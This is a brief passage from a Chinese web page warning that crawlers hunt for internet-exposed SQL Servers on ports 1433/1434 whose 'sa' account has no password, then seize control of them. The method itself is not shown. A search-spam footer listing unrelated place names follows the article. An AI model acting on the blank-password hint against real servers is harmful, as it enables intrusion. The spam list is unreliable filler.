有報(bào)告顯示現(xiàn)今有網(wǎng)絡(luò)蜘蛛專(zhuān)門(mén)尋找在網(wǎng)際網(wǎng)絡(luò)上,可以直接透過(guò) tcp 1433/udp 1434 埠(port)存取,但 sa 帳號(hào)沒(méi)有設(shè)定密碼的 sql server,在找到該服務(wù)器后便利用前述的技巧取得對(duì)系統(tǒng)的控制權(quán)。

 


發(fā)表評(píng)論 共有條評(píng)論
用戶(hù)名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 台南县| 南开区| 朝阳县| 新巴尔虎左旗| 色达县| 织金县| 贵溪市| 昌都县| 高要市| 佛坪县| 镇宁| 阳原县| 社会| 永靖县| 大兴区| 定边县| 如东县| 沽源县| 桃源县| 怀宁县| 高雄市| 上思县| 柳河县| 沾益县| 嘉定区| 广南县| 连山| 社旗县| 永登县| 苗栗市| 深州市| 宜兰县| 隆德县| 云和县| 江西省| 阿合奇县| 贵南县| 辽宁省| 白朗县| 综艺| 渝北区|